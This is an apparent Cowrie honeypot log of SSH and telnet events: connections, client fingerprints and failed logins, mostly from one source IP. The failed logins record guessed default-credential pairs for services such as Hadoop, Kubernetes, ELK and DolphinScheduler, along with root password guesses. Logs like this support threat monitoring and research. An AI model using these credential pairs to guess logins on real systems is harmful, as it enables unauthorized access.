{"eventid":"cowrie.session.closed","duration":30.68216347694397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:24.075270Z","src_ip":"50.62.181.92","session":"5c2eb37cbcc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:24.419600Z","src_ip":"193.151.144.93","session":"e26f750d5358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":60560,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab7f19e797d3","protocol":"ssh","message":"New connection: 193.151.144.93:60560 (10.17.0.5:22) [session: ab7f19e797d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:25.265605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:25.270962Z","src_ip":"193.151.144.93","session":"ab7f19e797d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:25.440203Z","src_ip":"193.151.144.93","session":"ab7f19e797d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:25.953935Z","src_ip":"193.151.144.93","session":"ab7f19e797d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40316,"dst_ip":"159.203.135.109","dst_port":23,"session":"06be7e65ee79","protocol":"telnet","message":"New connection: 69.4.83.194:40316 (159.203.135.109:23) [session: 06be7e65ee79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:27.088724Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:27.556108Z","src_ip":"193.151.144.93","session":"ab7f19e797d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":45268,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a813749c8e0","protocol":"ssh","message":"New connection: 193.151.144.93:45268 (10.17.0.5:22) [session: 6a813749c8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:30.796072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:30.830447Z","src_ip":"193.151.144.93","session":"6a813749c8e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:30.993832Z","src_ip":"193.151.144.93","session":"6a813749c8e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:31.631679Z","src_ip":"193.151.144.93","session":"6a813749c8e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:32.802441Z","src_ip":"193.151.144.93","session":"6a813749c8e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":45284,"dst_ip":"10.17.0.5","dst_port":22,"session":"07df61c5d12e","protocol":"ssh","message":"New connection: 193.151.144.93:45284 (10.17.0.5:22) [session: 07df61c5d12e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:36.122794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:36.127244Z","src_ip":"193.151.144.93","session":"07df61c5d12e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:36.290687Z","src_ip":"193.151.144.93","session":"07df61c5d12e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:36.781360Z","src_ip":"193.151.144.93","session":"07df61c5d12e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:37.945800Z","src_ip":"193.151.144.93","session":"07df61c5d12e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":38814,"dst_ip":"10.17.0.5","dst_port":22,"session":"54506a21d101","protocol":"ssh","message":"New connection: 193.151.144.93:38814 (10.17.0.5:22) [session: 54506a21d101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:41.691511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:41.696742Z","src_ip":"193.151.144.93","session":"54506a21d101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:41.860739Z","src_ip":"193.151.144.93","session":"54506a21d101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:42.349802Z","src_ip":"193.151.144.93","session":"54506a21d101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:43.932739Z","src_ip":"193.151.144.93","session":"54506a21d101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":38818,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f5840a0033c","protocol":"ssh","message":"New connection: 193.151.144.93:38818 (10.17.0.5:22) [session: 2f5840a0033c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:47.121272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:47.125695Z","src_ip":"193.151.144.93","session":"2f5840a0033c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:47.290552Z","src_ip":"193.151.144.93","session":"2f5840a0033c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:47.786484Z","src_ip":"193.151.144.93","session":"2f5840a0033c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:49.011561Z","src_ip":"193.151.144.93","session":"2f5840a0033c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37356,"dst_ip":"10.17.0.5","dst_port":22,"session":"8162e5f3b29a","protocol":"ssh","message":"New connection: 193.151.144.93:37356 (10.17.0.5:22) [session: 8162e5f3b29a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:52.470173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:52.475035Z","src_ip":"193.151.144.93","session":"8162e5f3b29a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:52.645924Z","src_ip":"193.151.144.93","session":"8162e5f3b29a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:54.179211Z","src_ip":"193.151.144.93","session":"8162e5f3b29a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":42738,"dst_ip":"159.203.135.109","dst_port":22,"session":"1925fb4b15a9","protocol":"ssh","message":"New connection: 77.94.47.83:42738 (159.203.135.109:22) [session: 1925fb4b15a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:55.062589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:55.067373Z","src_ip":"77.94.47.83","session":"1925fb4b15a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:55.178948Z","src_ip":"77.94.47.83","session":"1925fb4b15a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:55.353873Z","src_ip":"193.151.144.93","session":"8162e5f3b29a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25051990","message":"login attempt [root/25051990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:55.513439Z","src_ip":"77.94.47.83","session":"1925fb4b15a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:56.626734Z","src_ip":"77.94.47.83","session":"1925fb4b15a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37382,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2bf60bb662e","protocol":"ssh","message":"New connection: 193.151.144.93:37382 (10.17.0.5:22) [session: b2bf60bb662e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:58.137239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:58.141435Z","src_ip":"193.151.144.93","session":"b2bf60bb662e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:58.314571Z","src_ip":"193.151.144.93","session":"b2bf60bb662e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:58.833008Z","src_ip":"193.151.144.93","session":"b2bf60bb662e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:01.764366Z","src_ip":"193.151.144.93","session":"b2bf60bb662e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":53670,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce530d432db6","protocol":"telnet","message":"New connection: 69.4.83.194:53670 (159.203.135.109:23) [session: ce530d432db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:02.435181Z"}
{"eventid":"cowrie.session.closed","duration":35.47225046157837,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:02.560786Z","src_ip":"69.4.83.194","session":"06be7e65ee79","protocol":"telnet"}
